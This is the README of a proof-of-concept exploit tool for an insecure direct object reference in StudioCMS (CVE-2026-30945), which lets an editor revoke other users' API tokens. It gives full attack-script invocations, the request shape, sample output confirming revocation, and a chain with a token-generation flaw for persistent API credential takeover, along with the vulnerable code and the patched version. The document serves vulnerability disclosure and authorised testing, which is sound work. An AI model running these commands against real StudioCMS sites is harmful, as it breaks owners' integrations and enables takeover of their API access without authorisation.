
Proof-of-concept exploit for CVE-2026-30945, an IDOR in StudioCMS allowing arbitrary API token revocation and denial of service. Includes manual and automated testing modes.
StudioCMS IDOR — Arbitrary API Token Revocation Leading to Denial of Service
The DELETE /studiocms_api/dashboard/api-tokens endpoint in StudioCMS ≤ 0.3.0 allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and accounts.
ownerThe handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.
Related: This vulnerability shares the same root cause as CVE-2026-30944 (token generation IDOR). When chained together, an attacker can revoke legitimate tokens and generate new ones, achieving complete API credential takeover.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| Field | Value |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| CWE (secondary) | CWE-863: Incorrect Authorization |
| MITRE ATT&CK | T1531 — Account Access Removal |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Affected | studiocms ≤ 0.3.0 |
| Fixed in | studiocms 0.4.0 |
| File | Description |
|---|---|
cve_2026_30945_poc.py | Python exploitation script with manual & automated modes |
README.md | This file |
LICENSE | MIT License |
Editor accountpip install requests colorama
# Revoke a specific token belonging to the owner
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Chain with CVE-2026-30944: create a token for the target first
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Save results to JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Test with multiple roles
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argument | Description |
|---|---|
-u, --url | Target StudioCMS base URL |
--target-uuid | Target user UUID whose token will be revoked |
| Argument | Description |
|---|---|
--token-id | Internal token record UUID to revoke (not the JWT). If omitted, the script will attempt to create a token first via CVE-2026-30944 |
| Argument | Description |
|---|---|
--username | Username for authentication |
--password | Password for authentication |
| Argument | Description |
|---|---|
--auto-test | Enable automated multi-role testing |
--editor-user | Editor account username |
--editor-pass | Editor account password |
--visitor-user | Visitor account username |
--visitor-pass | Visitor account password |
| Argument | Description |
|---|---|
--save | Save results to JSON file |
--no-ssl-verify | Disable SSL certificate verification |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
When combined with the token generation IDOR (CVE-2026-30944), an attacker can perform a complete API credential takeover:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
└──► Attacker revokes it again (persistent DoS)
This creates a scenario where the attacker maintains persistent control over the owner's API access, repeatedly revoking any new tokens the owner creates while maintaining their own illegitimate access.
The vulnerable handler at packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 58–99) accepts tokenID and userID from the request body and passes them directly to the deletion function without any authorization checks:
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // No ownership check
userID: string; // No identity check
}>(ctx);
// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
The handler has five distinct flaws: insufficient permission gate, no token ownership validation, missing caller identity check, no role hierarchy enforcement, and direct pass-through of user-controlled values to a destructive operation.
Update StudioCMS to version 0.4.0 or later:
npm install studiocms@latest
This tool is provided for educational and authorized security testing purposes only.
Filipe Gaudard
This PoC is released under the MIT License for educational purposes. Use responsibly and ethically.